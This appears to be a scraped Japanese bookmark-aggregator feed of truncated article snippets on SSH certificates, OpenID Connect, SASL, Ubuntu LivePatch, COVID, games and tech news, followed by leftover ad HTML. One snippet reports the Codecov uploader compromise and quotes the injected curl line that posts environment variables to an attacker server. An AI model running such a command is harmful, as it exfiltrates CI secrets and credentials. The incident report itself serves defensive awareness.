How Smallstep SSH Works Smallstep delivers end-to-end SSH workflow that marries modern identity providers with short-lived SSH certificates and flexible access control. At the core is step-ca, our open-source certificate authority, and our step CLI toolkit that makes SSO for SSH a simple and elegant experience for users. Available on-premise or as a managed offering. Users sign in to your identity
Experience SSH certificates for yourself in <5min⚡! TL;DR In this post we're going to set up Google single sign-on for SSH. Behind the scenes, we'll use OpenID Connect (OIDC), short-lived SSH certificates, a couple of clever SSH configuration tweaks, and Smallstep's open-source step-ca and step packages. We will set up an SSH Certificate Authority, and use it to bootstrap a new host and a new user
はじめに 過去三年間、技術者ではない方々に OpenID Connect（オープンアイディー・コネクト）の説明を繰り返してきました※1。 その結果、OpenID Connect をかなり分かりやすく説明することができるようになりました。この記事では、その説明手順をご紹介します。 ※1：Authlete 社の創業者として資金調達のため投資家巡りをしていました（TechCrunch Japan：『APIエコノミー立ち上がりのカギ、OAuth技術のAUTHLETEが500 Startups Japanらから1.4億円を調達』）。 2017 年 10 月 23 日：『OpenID Connect 全フロー解説』という記事も公開したので、そちらもご参照ください。 説明手順 （１）「こんにちは！ 鈴木一朗です！」 （２）「え！？ 本当ですか？ 証明してください。」 （３）「はい！ これが私の名刺です！
SASL とはSimple Authentication and Security Layer の略です。RFC4422 で定められています。 Web (http) やメール (SMTP, POP3, IMAP) 等では認証が必要になるケースが多いですが、アプリケーション開発者が毎回わざわざ認証モジュールを 1 から作るのはナンセンスです。 SASL は認証 (Authentication) のやり取りと認証情報の保護 (Security) に関する仕組みをあらかじめアプリケーションが使いやすいようにプラグインとして用意しているフレームワークです。 これにより、アプリケーション開発者は認証に関する開発は行わなくて済みます。 SASL を通して以下の 3 つのセキュリティ機能を提供します。 通信相手が正しいこと (認証: Authentication)通信が改竄されていないこと (完全性:
Ubuntu 18.04 Bionic Beaverの新機能でLivePatchというものがあります。 Welcome画面で表示されるので何？と思った方もいらっしゃるのではないでしょうか。 後でも設定できるので何かわからない方は取り敢えず設定しなくても大丈夫です。 LivePatchとは？ PCを再起動しないでセキュリティに関するパッチを適用できる機能です。Ubuntu16.04から実装された機能で今回の18.04では利用開始までの手順が簡単になりました。 概要は以下のドキュメントが分かりやすいです。 The Canonical Livepatch Service（英語 PDF） LivePatchが必要な方・24時間365日絶対停止できないPCを持っている方、これから持とうとする方。 最大のメリットは無停止でセキュリティパッチを適用できることです。 ・PCの作業中にUpdateで作業を止
概要 コードカバレッジサービスのCodecovでは、カバレッジファイルをアップロードする際に以下のようにbash scriptを実行します。 bash <(curl -s https://codecov.io/bash) ref: Codecov Bash uploader しかし先日、このbash scriptが何者かに勝手に改竄されている問題が発生しました。 about.codecov.io 改竄されたスクリプトでは curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://ATTACKER_SERVER/upload/v2 || true という処理が埋め込まれており、CI処理などで環境変数に設定していた情報が全てアタッカーのサーバへ送信されてしまうことになります。 一次対応として送信された機密情報のローテーションは必須です
いつもは占いや開運法の話を書いていますが、今回はコロナの話をさせてください。自分が5月15日に発熱し、陽性と診断され、5月25日に退院するまでの闘病記です。恐怖の発熱がやってきた馬主で大家で占い師、大久保占い研究室のあらいちゅーこと田中です！ （親族の話が絡むため）細かな経緯はすっ飛ばしますが、濃厚接触者になってから数日が経過し、とうとう自分にも体調の変化がやってきました。 息苦しさは感じないものの37℃台の発熱があり、風邪のひき始めのような感じです。 麻黄湯を飲んで安静にすると少し軽快したので、マツキヨで買ってあった抗原検査キットで調べると陰性。単なる風邪かと思って一晩寝たところ、朝になると熱が38℃台まで上がっていました。 ファストドクターで往診を呼ぶこれはもう陽性だろうと観念し、早朝にファストドクター（往診アプリ）でお医者さんに来てもらい、自宅でPCR検査を受けました。 玄関先に防護
スクウェア・エニックスは5月27日、YouTubeで配信した「ドラゴンクエスト35周年特番」で1988年に社会現象となった「ドラゴンクエストIII」をリメイクすると発表した。ドット絵をアレンジした新しいグラフィック手法を採用する。 スクウェア・エニックスが「HD-2D」と呼ぶグラフィックの手法でリメイクする。昔ながらのドット絵に現在の3D CGで使用する画面効果を加えた「ドット絵の進化形」で、2018年発売のRPG「OCTOPATH TRAVELER」などで採用した。幻想的ながら愛嬌のあるキャラクターが特長だ。 ドラクエシリーズの生みの親である堀井雄二さんは、ドラクエ3のリメイクを決めた理由を「一番思い入れがあるから」と話す。さらに「続きが作れたらドラクエ1と2も。2で意外な展開を作りたい」という。 ドラクエ3は「ロト3部作」と呼ばれるドラクエ初期シリーズの完結編。ドラクエ1や2に名前が登
東京都が、警察と消防の職員に行うワクチン接種は、会場の築地市場の跡地がオリンピック・パラリンピックの輸送車両の拠点となっていることから、大会の準備が本格化する前までしか使えず、1回目の接種を受けた全員が、この場所で2回目を受けられないことが分かりました。 東京都は、築地市場の跡地に都独自の接種会場を設けて、警視庁と東京消防庁の職員に来月上旬から新型コロナウイルスのワクチン接種を行う準備を進めています。 しかし、この場所は東京オリンピック・パラリンピックの輸送車両の拠点となっていて、関係者によりますと、大会の準備が本格化する前にはあけなければならないということです。 このため、現時点ではこの場所が使えるのは来月末までの見通しで、その期間内だと、1回目の接種を受けた全員が、少なくとも3週間程度空けなければならない2回目を受けられないことが分かりました。 都もこうした状況を把握していて、2回目の
あらゆる組織の若手は最初は先輩社員の指導を受けて育っていきます。ところが年を経るにつれて注意されなくなってきます。わたしも社会人になってから今まで、注意される回数がどんどん減っていきました。もちろん私が成長して注意すべき点が減ってきたというのもありますが、それだけでは説明がつきません。あとから振り返ってみると「これは相当まずいことをしたな、昔なら相当叱られてただろうな」ということが多々あります。では自分の成長以外にどういう要素があるかというと、それなりに大きなウェイトを占めるのが加齢だと思っています。 「技術の前には年齢は関係ない！」という話もあり、実際それはそうだと私も思いますが、年長者は敬うべきという文化がずっと続いてきた日本で実際に年長者に正面からボロカスに注意する人というのはなかなかいません。それに加えて「この年になるまで変わらなかったんだからもう注意しても無駄だろう」「年食ってき
米Amazon.comは5月27日（現地時間）、ジェフ・ベゾスCEOが掲げる「地球で最も安全な職場になる」目標を達成するためのプログラム「WorkingWell」を発表した。従業員の安全と健康をサポートするための包括的なプログラムで、2021年だけで3億ドル（約330億円）以上を投資する計画だ。 このプログラムを構成するコンポーネントの1つとして、フルフィルメントセンターの従業員がシフトの合間に利用できる「AmaZen」（zenは禅？）ボックスも発表した。1人が座れる広さの閉鎖ブースで、メンタルヘルスやマインドフルネス関連の動画、瞑想ガイドなどを視聴するためのPCが設置され、壁には植物やメッセージカードが飾られている。 AmaZenを考案したWorkingWell担当プログラムマネジャー、レイラ・ブラウン氏はAmazonが投稿したツイートの動画で「従業員にメンタルを健康に保つために利用でき
米Twitterが準備中のサブスクリプション（定額制）サービス「Twitter Blue」の料金は月額350円であることが、App Storeでの表示で明らかになった。Twitterの未発表新機能ハンターとして知られるジェーン・マンチュン・ウォン氏が5月28日に米国版App Storeでの表記についてツイートしたため、日本版App Storeで確認した。 右図のように、App StoreのTwitterの「情報」の「App内課金」に「Twitter Blue ￥350」と表示される。 Twitterはサブスクリプションサービスを準備中であることは発表済みだが、その名称や価格はまだ明らかにしていない。この金額も正式発表時に変更になる可能性もまだある。 ウォン氏によると、Twitter Blueの特典は投稿取り消しボタンやScrollの技術による広告非表示サービス、気に入ったツイートをカテゴリ
重要: 年末が近づいてまいりました。収益化を行っているクリエイターの皆様は、YouTube 向け AdSense で税務情報をご確認ください。2023 年 12 月 10 日までに必ず、税務フォームの提出と租税条約の恩典（対象者のみ）を申請してください。該当する場合、Google は 2023 年の税金を再計算し、差額を払い戻します。 税務情報を提供していただかなかった場合、Google は最大の税率を適用して全世界での収益を対象に源泉徴収を行わなければならない場合があります。税務情報を提出していただいた場合、税率は米国での収益の 30% が上限となります。 税務情報を確認し、租税条約の恩典を申請するには: Google が税務情報を受け取ったことを確認します。YouTube 向け AdSense で税務フォームのステータスが緑色で [承認済み] になっていることを再度ご確認ください。 租
▼チーム会議、会議の終了通知 こんなメッセージが Microsoft 365 管理センターのメッセージセンターに出たのが今年の9月。そして少し展開が遅れたようですが、ようやく僕のテナントに展開されたので早速チェックを。 まず、会議を作成します。ちゃんと時間を指定します。そして会議開始。 ▼待ちます 5分前になりました。 ▼出た！(笑) この色々情報が出るバーが地味に出てくるわけですね。 ▼拡大するとこんな感じ で、右に「閉じる」ボタンがあるのに、30秒もせずに勝手に消えました…。地味過ぎる…。メッセージセンターの中身をよく読むと、「通知は10秒間画面に表示され、ユーザーの操作なしで消えます。」って記載されていました。10秒すか…。そしてこの通知機能を無効にする事はできないそうです。 ▼10秒経ったら消えました 会議終了時間になっても10分20分過ぎても、もう特に何もアクションはありません。
単一責任の原則（Single responsibility principle）について、もう一度考える はじめに オブジェクトの広場をご覧の皆様ならば、「SOLID原則」という言葉を聞いたことがあるかもしれません。 SOLIDとは、以下の5つのソフトウェア設計原則を並べたバクロニムです。 Single Responsibility Principle：単一責任の原則 Open/closed principle：オープン/クロースドの原則 Liskov substitution principle：リスコフの置換原則 Interface segregation principle：インターフェース分離の原則 Dependency inversion principle：依存性逆転の原則 ソフトウェアエンジニアが知っておくべき設計原則のセットとして、Clean Architecture や
「Google フォト」対「Amazon Photos」 プランの比較から見る各社の狙い：Google フォトの容量無制限終了で考える 「Google フォト」の無料無制限バックアップサービスが、2021年5月末に終了する。 6月以降、無料プランの容量では足りない既存ユーザーは、有料プランに加入した上で今後もGoogle フォトを使い続けるか、他のフォトストレージサービスに移行するかという判断を迫られる。 Google フォトの無料・無制限サービス終了は約半年前の2020年11月から予告されていた。発表直後のSNSなどでの反応を見ると、他社サービスへの乗り換えを検討するユーザーが挙げた具体例としては「Amazonフォト」が多かったようだ。本記事ではGoogle フォトとAmazon Photosの料金体系や機能の違いを比較し、各サービスの狙いを読み解いていく。 Google フォトの変更点
総務省の接待問題で、衛星放送関連会社「東北新社」が公表した報告書に総務省の発表にはなかった20件の会食が含まれていたことについて、総務省は、当時の調査では、会社側と職員のどちらからも報告がなかったと説明しました。 東北新社が、今週公表した報告書では、2015年11月以降、総務省の幹部職員ら合わせて14人との間で54件の会食が確認されたとしていて、このうち20件は、ことし2月に総務省が発表した調査結果には含まれていませんでした。 この20件の会食について、総務省の原官房長は、27日の衆議院総務委員会で「当時の調査で、東北新社に、総務省との会食をすべて出すようお願いしたが、報告がなかった。また、職員にも、会社側の報告以外の会食がないか聞いたが、申告はなかった」と述べました。 これに対し、立憲民主党の奥野総一郎氏は「20件の会食のほとんどは、衛星放送事業の認定などが行われていた時期のもので、その
","naka5":"<!-- BFF501 PC記事下（中⑤企画）パーツ＝1541 -->","naka6":"<!-- BFF486 PC記事下（中⑥デジ編）パーツ＝8826 --><!-- /news/esi/ichikiji/c6/default.htm -->","naka6Sp":"<!-- BFF3053 SP記事下（中⑥デジ編）パーツ＝8826 -->","adcreative72":"<!-- BFF920 広告枠）ADCREATIVE-72 こんな特集も -->\n<!-- Ad BGN -->\n<!-- dfptag ＰＣ誘導枠５行 ★ここから -->\n<div class=\"p_infeed_list_wrapper\" id=\"p_infeed_list1\">\n <div class=\"p_infeed_list\">\n <div class=\"
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く